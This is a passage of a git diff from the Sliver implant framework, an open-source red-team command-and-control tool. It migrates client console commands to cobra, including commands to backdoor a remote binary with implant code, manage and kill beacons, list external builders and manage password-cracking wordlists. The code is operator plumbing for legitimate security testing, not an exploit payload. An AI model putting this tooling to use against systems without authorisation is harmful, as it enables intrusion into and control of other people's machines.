Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: config.DisableTLSValidation,
@@ -465,3 +405,40 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
},
}
}
func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
client := httpClient(clientConfig)
req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
if err != nil {
return nil, nil, err
}
if len(extraHeaders) > 0 {
for key := range extraHeaders {
req.Header.Add(key, strings.Join(extraHeaders[key], ","))
}
}
if armoryConfig.Authorization != "" {
req.Header.Set("Authorization", armoryConfig.Authorization)
}
resp, err := client.Do(req)
if err != nil {
return nil, nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
return resp, body, err
}
func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
downloadHdr := http.Header{
"Accept": {"application/octet-stream"},
}
resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
}
return body, err
}
+7 -4
View File
@@ -21,19 +21,22 @@ package armory
import (
"regexp"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmorySearchCmd - Search for packages by name
func ArmorySearchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
rawNameExpr := ctx.Args.String("name")
rawNameExpr := args[0]
// rawNameExpr := ctx.Args.String("name")
if rawNameExpr == "" {
con.PrintErrorf("Please specify a search term!\n")
return
+7 -6
View File
@@ -19,20 +19,21 @@ package armory
*/
import (
"io/ioutil"
"os"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// ArmoryUpdateCmd - Update all installed extensions/aliases
func ArmoryUpdateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintInfof("Refreshing package cache ... ")
clientConfig := parseArmoryHTTPConfig(ctx)
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
con.Printf(console.Clearln + "\r")
@@ -69,7 +70,7 @@ func checkForAliasUpdates(clientConfig ArmoryHTTPConfig, con *console.SliverCons
cachedAliases, _ := packagesInCache()
results := []string{}
for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
data, err := ioutil.ReadFile(aliasManifestPath)
data, err := os.ReadFile(aliasManifestPath)
if err != nil {
continue
}
@@ -92,7 +93,7 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver
_, cachedExtensions := packagesInCache()
results := []string{}
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
data, err := ioutil.ReadFile(extManifestPath)
data, err := os.ReadFile(extManifestPath)
if err != nil {
continue
}
+11 -8
View File
@@ -19,36 +19,39 @@ package backdoor
*/
import (
"context"
"fmt"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
// BackdoorCmd - Command to inject implant code into an existing binary
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func BackdoorCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
remoteFilePath := ctx.Args.String("remote-file")
remoteFilePath := args[0]
if remoteFilePath == "" {
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
return
}
profileName := ctx.Flags.String("profile")
profileName, _ := cmd.Flags().GetString("profile")
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
con.SpinUntil(msg, ctrl)
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
backdoor, err := con.Rpc.Backdoor(grpcCtx, &clientpb.BackdoorReq{
FilePath: remoteFilePath,
ProfileName: profileName,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
+72 -37
View File
@@ -19,25 +19,26 @@ package beacons
*/
import (
"context"
"fmt"
"regexp"
"strings"
"time"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"golang.org/x/term"
"github.com/bishopfox/sliver/client/command/kill"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
)
// BeaconsCmd - Display/interact with beacons
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
killFlag := ctx.Flags.String("kill")
killAll := ctx.Flags.Bool("kill-all")
func BeaconsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
killFlag, _ := cmd.Flags().GetString("kill")
killAll, _ := cmd.Flags().GetBool("kill-all")
// Handle kill
if killFlag != "" {
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = kill.KillBeacon(beacon, false, con)
err = kill.KillBeacon(beacon, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
for _, beacon := range beacons.Beacons {
err = kill.KillBeacon(beacon, true, con)
err = kill.KillBeacon(beacon, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -71,35 +72,47 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
}
}
filter, _ := cmd.Flags().GetString("filter")
var filterRegex *regexp.Regexp
if filterRe, _ := cmd.Flags().GetString("filter-re"); filterRe != "" {
var err error
filterRegex, err = regexp.Compile(filterRe)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintBeacons(beacons.Beacons, con)
PrintBeacons(beacons.Beacons, filter, filterRegex, con)
}
// PrintBeacons - Display a list of beacons
func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
if len(beacons) == 0 {
con.PrintInfof("No beacons 🙁\n")
return
}
tw := renderBeacons(beacons, con)
tw := renderBeacons(beacons, filter, filterRegex, con)
con.Printf("%s\n", tw.Render())
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if 182 < width {
wideTermWidth := con.Settings.SmallTermWidth < width
if wideTermWidth {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -109,6 +122,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
"Hostname",
"Username",
"Operating System",
"Locale",
"Last Check-in",
"Next Check-in",
})
@@ -117,6 +131,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
"ID",
"Name",
"Transport",
"Hostname",
"Username",
"Operating System",
"Last Check-in",
@@ -131,38 +146,58 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
color = console.Green
}
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
tw.AppendRow(table.Row{
// We need a slice of strings so we can apply filters
var rowEntries []string
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
} else {
tw.AppendRow(table.Row{
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
next,
})
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
}
}
// Build the row struct
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
// Apply filters if any
if filter == "" && filterRegex == nil {
tw.AppendRow(row)
} else {
for _, rowEntry := range rowEntries {
if filter != "" {
if strings.Contains(rowEntry, filter) {
tw.AppendRow(row)
break
}
}
if filterRegex != nil {
if filterRegex.MatchString(rowEntry) {
tw.AppendRow(row)
break
}
}
}
}
}
return tw
+11 -5
View File
@@ -20,7 +20,6 @@ package beacons
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
@@ -28,6 +27,7 @@ import (
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -44,7 +44,9 @@ var (
// SelectBeacon - Interactive menu for the user to select an session, optionally only display live sessions
func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
if err != nil {
return nil, err
}
@@ -101,7 +103,9 @@ func SelectBeacon(con *console.SliverConsoleClient) (*clientpb.Beacon, error) {
}
func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Beacon, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
if err != nil {
return nil, err
}
@@ -109,7 +113,7 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
return nil, ErrNoBeacons
}
for _, beacon := range beacons.Beacons {
if beacon.ID == beaconID {
if beacon.ID == beaconID || strings.HasPrefix(beacon.ID, beaconID) {
return beacon, nil
}
}
@@ -117,7 +121,9 @@ func GetBeacon(con *console.SliverConsoleClient, beaconID string) (*clientpb.Bea
}
func GetBeacons(con *console.SliverConsoleClient) (*clientpb.Beacons, error) {
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
if err != nil {
return nil, err
}
+11 -8
View File
@@ -19,25 +19,28 @@ package beacons
*/
import (
"context"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsPruneCmd - Prune stale beacons automatically
func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pruneDuration, err := time.ParseDuration(ctx.Flags.String("duration"))
func BeaconsPruneCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
duration, _ := cmd.Flags().GetString("duration")
pruneDuration, err := time.ParseDuration(duration)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Pruning beacons that missed their last checking by %s or more...\n\n", pruneDuration)
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
beacons, err := con.Rpc.GetBeacons(grpcCtx, &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -48,7 +51,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
@@ -59,7 +62,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintWarnf("The following beacons and their tasks will be removed:\n")
for index, beacon := range pruneBeacons {
beacon, err := con.Rpc.GetBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
beacon, err := con.Rpc.GetBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
continue
@@ -75,7 +78,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
errCount := 0
for _, beacon := range pruneBeacons {
_, err := con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
_, err := con.Rpc.RmBeacon(grpcCtx, &clientpb.Beacon{ID: beacon.ID})
if err != nil {
con.PrintErrorf("%s\n", err)
errCount++
+5 -4
View File
@@ -19,20 +19,21 @@ package beacons
*/
import (
"context"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// BeaconsRmCmd - Display/interact with beacons
func BeaconsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func BeaconsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
beacon, err := SelectBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.RmBeacon(context.Background(), beacon)
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
_, err = con.Rpc.RmBeacon(grpcCtx, beacon)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+5 -4
View File
@@ -24,13 +24,14 @@ import (
"strings"
"time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
)
// BeaconsWatchCmd - Watch your beacons in real-ish time
func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func BeaconsWatchCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
done := waitForInput()
defer func() {
con.Printf(console.UpN+console.Clearln+"\r", 1)
@@ -45,7 +46,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
panic(err) // If we return we may leak the waiting goroutine, so we panic instead
}
tw := renderBeacons(beacons.Beacons, con)
tw := renderBeacons(beacons.Beacons, "", nil, con)
lines := strings.Split(tw.Render(), "\n")
for _, line := range lines {
con.Printf(console.Clearln+"\r%s\n", line)
@@ -57,7 +58,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
func waitForInput() <-chan bool {
done := make(chan bool)
done := make(chan bool, 1)
go func() {
defer close(done)
fmt.Scanf("\n")
+72
View File
@@ -0,0 +1,72 @@
package builders
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
// BuildersCmd - List external builders
func BuildersCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if len(builders.Builders) == 0 {
con.PrintInfof("No external builders connected to server\n")
} else {
PrintBuilders(builders.Builders, con)
}
}
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
})
for _, builder := range externalBuilders {
targets := []string{}
for _, target := range builder.Targets {
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
}
row := table.Row{
builder.Name,
builder.OperatorName,
strings.Join(builder.Templates, ", "),
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
strings.Join(targets, "\n"),
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
}
+78
View File
@@ -0,0 +1,78 @@
package command
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"strings"
"github.com/reeflective/console"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
const defaultTimeout = 60
// Flags is a convenience function to bind flags to a given command.
// name - The name of the flag set (can be empty).
// cmd - The command to which the flags should be bound.
// flags - A function exposing the flag set through which flags are declared.
func Flags(name string, persistent bool, cmd *cobra.Command, flags func(f *pflag.FlagSet)) {
flagSet := pflag.NewFlagSet(name, pflag.ContinueOnError) // Create the flag set.
flags(flagSet) // Let the user bind any number of flags to it.
if persistent {
cmd.PersistentFlags().AddFlagSet(flagSet)
} else {
cmd.Flags().AddFlagSet(flagSet)
}
}
// FlagComps is a convenience function for adding completions to a command's flags.
// cmd - The command owning the flags to complete.
// bind - A function exposing a map["flag-name"]carapace.Action.
func FlagComps(cmd *cobra.Command, bind func(comp *carapace.ActionMap)) {
comps := make(carapace.ActionMap)
bind(&comps)
carapace.Gen(cmd).FlagCompletion(comps)
}
// hideCommand generates a cobra annotation map with a single
// console.CommandHiddenFilter key, which value is a comma-separated list
// of filters to use in order to expose/hide commands based on requirements.
// Ex: cmd.Annotations = hideCommand("windows") will hide the cmd
// if the target session/beacon is not a Windows host.
func hideCommand(filters ...string) map[string]string {
if len(filters) == 0 {
return nil
}
if len(filters) == 1 {
return map[string]string{
console.CommandFilterKey: filters[0],
}
}
filts := strings.Join(filters, ",")
return map[string]string{
console.CommandFilterKey: filts,
}
}
File diff suppressed because it is too large. Load diff
+28 -34
View File
@@ -19,45 +19,39 @@ package completers
*/
import (
"io/ioutil"
"os"
"path/filepath"
"strings"
"net"
"github.com/bishopfox/sliver/client/console"
"github.com/rsteube/carapace"
)
// LocalPathCompleter - Completes a local file system path
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
var parent string
var partial string
fi, err := os.Stat(prefix)
if os.IsNotExist(err) {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
} else {
if fi.IsDir() {
parent = prefix
partial = ""
} else {
parent = filepath.Dir(prefix)
partial = filepath.Base(prefix)
// ClientInterfacesCompleter completes interface addresses on the client host.
func ClientInterfacesCompleter() carapace.Action {
return carapace.ActionCallback(func(_ carapace.Context) carapace.Action {
ifaces, err := net.Interfaces()
if err != nil {
return carapace.ActionMessage("failed to get net interfaces: %s", err.Error())
}
}
results := []string{}
ls, err := ioutil.ReadDir(parent)
if err != nil {
return results
}
for _, fi = range ls {
if 0 < len(partial) {
if strings.HasPrefix(fi.Name(), partial) {
results = append(results, filepath.Join(parent, fi.Name()))
results := make([]string, 0)
for _, i := range ifaces {
addrs, err := i.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
switch v := a.(type) {
case *net.IPAddr:
results = append(results, v.IP.String())
case *net.IPNet:
results = append(results, v.IP.String())
default:
results = append(results, v.String())
}
}
} else {
results = append(results, filepath.Join(parent, fi.Name()))
}
}
return results
return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
})
}
+505
View File
@@ -0,0 +1,505 @@
package crack
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"crypto/sha256"
"encoding/hex"
"io"
"os"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/klauspost/compress/zstd"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util"
)
// CrackWordlistsCmd - Manage GPU cracking stations
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(wordlists.Files) == 0 {
con.PrintInfof("No wordlists, add some using `crack wordlists add`\n")
} else {
PrintCrackFiles(wordlists, con)
con.Println()
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(wordlists.CurrentDiskUsage)/float64(wordlists.MaxDiskUsage))*100,
util.ByteCountBinary(wordlists.CurrentDiskUsage),
util.ByteCountBinary(wordlists.MaxDiskUsage),
)
}
}
// CrackRulesCmd - Manage GPU cracking stations
func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(rules.Files) == 0 {
con.PrintInfof("No rules files, add some using `crack rules add`\n")
} else {
PrintCrackFiles(rules, con)
con.Println()
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(rules.CurrentDiskUsage)/float64(rules.MaxDiskUsage))*100,
util.ByteCountBinary(rules.CurrentDiskUsage),
util.ByteCountBinary(rules.MaxDiskUsage),
)
}
}
// CrackHcstat2Cmd - Manage GPU cracking stations
func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(hcstat2.Files) == 0 {
con.PrintInfof("No hcstat2 files, add some using `crack hcstat2 add`\n")
} else {
PrintCrackFiles(hcstat2, con)
con.Println()
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(hcstat2.CurrentDiskUsage)/float64(hcstat2.MaxDiskUsage))*100,
util.ByteCountBinary(hcstat2.CurrentDiskUsage),
util.ByteCountBinary(hcstat2.MaxDiskUsage),
)
}
}
func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Size"})
for _, file := range crackFiles.Files {
tw.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
}
con.Printf("%s\n", tw.Render())
}
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
wordlistTable := table.NewWriter()
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
wordlistTable.SetStyle(settings.GetTableStyle(con))
wordlistTable.AppendHeader(table.Row{"Name", "Size"})
rulesTable := table.NewWriter()
rulesTable.SetTitle(console.Bold + "Rules" + console.Normal)
rulesTable.SetStyle(settings.GetTableStyle(con))
rulesTable.AppendHeader(table.Row{"Name", "Size"})
hcTable := table.NewWriter()
hcTable.SetTitle(console.Bold + "Markov Hcstat2" + console.Normal)
hcTable.SetStyle(settings.GetTableStyle(con))
hcTable.AppendHeader(table.Row{"Name", "Size"})
wordlists := 0
rules := 0
hc := 0
for _, file := range crackFiles.Files {
switch file.Type {
case clientpb.CrackFileType_WORDLIST:
wordlistTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
wordlists++
case clientpb.CrackFileType_RULES:
rulesTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
rules++
case clientpb.CrackFileType_MARKOV_HCSTAT2:
hcTable.AppendRow(table.Row{file.Name, util.ByteCountBinary(file.UncompressedSize)})
hc++
}
}
if wordlists > 0 {
con.Printf("%s\n", wordlistTable.Render())
}
if rules > 0 {
if wordlists > 0 {
con.Println()
}
con.Printf("%s\n", rulesTable.Render())
}
if hc > 0 {
if wordlists > 0 || rules > 0 {
con.Println()
}
con.Printf("%s\n", hcTable.Render())
}
con.Println()
con.Printf("%d wordlists, %d rules, %d hcstat2 files\n", wordlists, rules, hc)
con.Printf("Disk quota %02.2f%% - %s of %s\n",
(float64(crackFiles.CurrentDiskUsage)/float64(crackFiles.MaxDiskUsage))*100,
util.ByteCountBinary(crackFiles.CurrentDiskUsage),
util.ByteCountBinary(crackFiles.MaxDiskUsage),
)
}
// CrackWordlistsAddCmd - Manage GPU cracking stations
func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
var localPath string
if len(args) > 0 {
localPath = args[0]
}
if localPath == "" {
con.PrintErrorf("No path specified, see --help\n")
return
}
wordlistStat, err := os.Stat(localPath)
if os.IsNotExist(err) || wordlistStat.IsDir() {
con.PrintErrorf("File does not exist: %s\n", localPath)
return
}
if name == "" {
name = wordlistStat.Name()
}
wordlist, err := os.Open(localPath)
if err != nil {
con.PrintErrorf("Failed to open file: %s\n", err)
return
}
defer wordlist.Close()
crackFile, err := con.Rpc.CrackFileCreate(context.Background(), &clientpb.CrackFile{
Type: clientpb.CrackFileType_WORDLIST,
Name: name,
UncompressedSize: wordlistStat.Size(),
IsCompressed: true,
})
if err != nil {
con.PrintErrorf("Failed to create file: %s\n", err)
return
}
con.PrintInfof("Adding new wordlist '%s' (uncompressed: %s)\n",
crackFile.Name,
util.ByteCountBinary(crackFile.UncompressedSize),
)
addCrackFile(wordlist, crackFile, con)
}
// CrackRulesAddCmd - add a rules file
func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
var localPath string
if len(args) > 0 {
localPath = args[0]
}
